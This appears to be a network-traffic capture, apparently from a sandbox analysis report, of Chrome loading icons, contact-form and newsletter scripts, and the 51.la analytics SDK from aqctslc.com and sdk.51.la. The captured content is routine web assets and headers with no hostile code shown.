2025-01-09 23:51:40 UTC	15911	IN	Data Raw: 61 35 39 0d 0a 2f 2a 21 0a 2a 20 35 31 4c 41 20 41 6e 61 6c 79 73 69 73 20 4a 61 76 61 73 63 72 69 70 74 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 4b 69 74 0a 2a 20 6a 73 2d 73 64 6b 2d 70 72 6f 20 76 31 2e 35 38 2e 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 2d 32 30 32 32 20 35 31 2e 6c 61 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 67 3d 65 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 2c 68 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 69 3d 41 28 27 4f 62 6a 65 63 74 27 29 2c 6a 3d 41 28 27 4e 75 6d 62 65 72 27 29 2c 6b 3d 41 28 27 53 74 72 69 6e 67 27 29 2c 6d Data Ascii: a59/! 51LA Analysis Javascript Software Development Kit* js-sdk-pro v1.58.3* Copyright 2016-2022 51.la All Rights Reserved*/(function(c){'use strict';var e=window,g=e['document'],h=encodeURIComponent,i=A('Object'),j=A('Number'),k=A('String'),m
2025-01-09 23:51:40 UTC	16384	IN	Data Raw: 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 54 72 69 64 65 6e 74 2f 27 29 3e 30 78 30 3f 28 66 68 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 72 76 3a 27 29 2c 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 68 2b 30 78 33 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 68 29 29 2c 30 78 61 29 29 3a 28 66 66 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 45 64 67 65 2f 27 29 29 3e 30 78 30 26 26 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 66 2b 30 78 35 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 66 29 29 2c 30 78 61 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 66 6a 28 66 6b 2c 66 6c 2c 66 6d 29 7b 76 61 72 20 66 6e 2c 66 6f 2c 66 70 2c 66 71 2c 66 72 2c 66 73 2c 66 Data Ascii: fi['indexOf']('Trident/')>0x0?(fh=fi['indexOf']('rv:'),parseInt(fi['substring'](fh+0x3,fi['indexOf']('.',fh)),0xa)):(ff=fi['indexOf']('Edge/'))>0x0&&parseInt(fi['substring'](ff+0x5,fi['indexOf']('.',ff)),0xa);}function fj(fk,fl,fm){var fn,fo,fp,fq,fr,fs,f
2025-01-09 23:51:40 UTC	3751	IN	Data Raw: 2c 6a 67 29 2c 6a 6b 5b 27 73 65 74 41 74 74 72 69 62 75 74 65 27 5d 28 27 63 72 6f 73 73 6f 72 69 67 69 6e 27 2c 27 61 6e 6f 6e 79 6d 6f 75 73 27 29 2c 6a 6b 5b 27 73 65 74 41 74 74 72 69 62 75 74 65 27 5d 28 27 63 68 61 72 73 65 74 27 2c 27 55 54 46 2d 38 27 29 2c 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 27 5d 28 27 68 65 61 64 27 29 5b 30 78 30 5d 5b 27 61 70 70 65 6e 64 43 68 69 6c 64 27 5d 28 6a 6b 29 2c 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 3f 6a 6b 5b 27 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 27 63 6f 6d 70 6c 65 74 65 27 3d 3d 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 7c 7c 27 6c 6f 61 64 65 64 27 3d 3d 6a 6b 5b 27 72 65 61 Data Ascii: ,jg),jk['setAttribute']('crossorigin','anonymous'),jk['setAttribute']('charset','UTF-8'),document['getElementsByTagName']('head')[0x0]['appendChild'](jk),jk['readyState']?jk['onreadystatechange']=function(){('complete'==jk['readyState']\|\|'loaded'==jk['rea

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49827	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:39 UTC	977	OUT	GET /themes/static/image/services-icon2.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:40 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:40 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:40 UTC	13857	IN	Data Raw: 33 36 31 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 58 08 06 00 00 01 74 5d 62 14 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 3614PNGIHDRdXt]btEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49826	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:39 UTC	977	OUT	GET /themes/static/image/services-icon3.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:40 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:39 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:40 UTC	15758	IN	Data Raw: 33 64 38 31 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 58 08 06 00 00 01 74 5d 62 14 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 3d81PNGIHDRdXt]btEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49828	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:39 UTC	977	OUT	GET /themes/static/image/services-icon4.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:40 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:40 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:40 UTC	15103	IN	Data Raw: 33 61 66 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 58 08 06 00 00 01 74 5d 62 14 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 3af2PNGIHDRdXt]btEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49829	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:39 UTC	746	OUT	GET /themes/static/js/contact-form-script.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:40 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:40 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:40 UTC	2145	IN	Data Raw: 38 35 35 0d 0a 2f 2a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 2a 2f 0d 0a 2f 2f 20 43 6f 6e 74 61 63 74 20 46 6f 72 6d 20 20 4a 53 0d 0a 2f 2a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 2a 2f 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0d 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 20 2f 2f 20 53 74 61 72 74 20 6f 66 20 75 73 65 20 73 74 72 69 63 74 0d 0a 20 20 20 20 24 28 22 23 63 6f 6e 74 61 63 74 46 6f 72 6d 22 29 2e 76 61 6c 69 64 61 74 6f 72 28 29 2e Data Ascii: 855/==============================================================/// Contact Form JS/==============================================================/(function ($) { "use strict"; // Start of use strict $("#contactForm").validator().

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49831	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:39 UTC	740	OUT	GET /themes/static/js/ajaxchimp.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:40 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:40 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:40 UTC	2393	IN	Data Raw: 39 34 64 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 24 2e 61 6a 61 78 43 68 69 6d 70 3d 7b 72 65 73 70 6f 6e 73 65 73 3a 7b 22 57 65 20 68 61 76 65 20 73 65 6e 74 20 79 6f 75 20 61 20 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 65 6d 61 69 6c 22 3a 30 2c 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 20 76 61 6c 75 65 22 3a 31 2c 22 41 6e 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 6d 75 73 74 20 63 6f 6e 74 61 69 6e 20 61 20 73 69 6e 67 6c 65 20 40 22 3a 32 2c 22 54 68 65 20 64 6f 6d 61 69 6e 20 70 6f 72 74 69 6f 6e 20 6f 66 20 74 68 65 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 69 73 20 69 6e 76 61 6c 69 64 20 28 74 68 65 20 70 6f 72 74 69 6f 6e 20 61 66 74 65 72 20 74 68 65 20 40 3a 20 29 22 3a 33 2c 22 54 68 65 20 Data Ascii: 94d(function($){"use strict";$.ajaxChimp={responses:{"We have sent you a confirmation email":0,"Please enter a value":1,"An email address must contain a single @":2,"The domain portion of the email address is invalid (the portion after the @: )":3,"The

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49830	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:39 UTC	977	OUT	GET /themes/static/image/services-icon5.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:40 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:40 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:40 UTC	12503	IN	Data Raw: 33 30 63 61 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 58 08 06 00 00 01 74 5d 62 14 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 30caPNGIHDRdXt]btEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49840	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:40 UTC	977	OUT	GET /themes/static/image/services-icon6.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:40 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:40 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:40 UTC	12303	IN	Data Raw: 33 30 30 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 58 08 06 00 00 01 74 5d 62 14 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 3002PNGIHDRdXt]btEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49842	199.91.74.185	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:40 UTC	521	OUT	GET /js-sdk-pro.min.js HTTP/1.1 Host: sdk.51.la Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:40 UTC	434	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:40 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Cache-Control: no-store Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true via: LA-MEX-queretaro-EDGE1-CACHE4[225],LA-MEX-queretaro-EDGE1-CACHE4[ovl,223],CHN-HElangfang-GLOBAL6-CACHE118[ovl,16] X-CCDN-REQ-ID-46B1: 240b5b9ad4dbf22d629a2186b8540a1b
2025-01-09 23:51:40 UTC	15950	IN	Data Raw: 61 35 61 0d 0a 2f 2a 21 0a 2a 20 35 31 4c 41 20 41 6e 61 6c 79 73 69 73 20 4a 61 76 61 73 63 72 69 70 74 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 4b 69 74 0a 2a 20 6a 73 2d 73 64 6b 2d 70 72 6f 20 76 31 2e 35 38 2e 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 2d 32 30 32 32 20 35 31 2e 6c 61 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 67 3d 65 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 2c 68 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 69 3d 41 28 27 4f 62 6a 65 63 74 27 29 2c 6a 3d 41 28 27 4e 75 6d 62 65 72 27 29 2c 6b 3d 41 28 27 53 74 72 69 6e 67 27 29 2c 6d Data Ascii: a5a/! 51LA Analysis Javascript Software Development Kit* js-sdk-pro v1.58.3* Copyright 2016-2022 51.la All Rights Reserved*/(function(c){'use strict';var e=window,g=e['document'],h=encodeURIComponent,i=A('Object'),j=A('Number'),k=A('String'),m
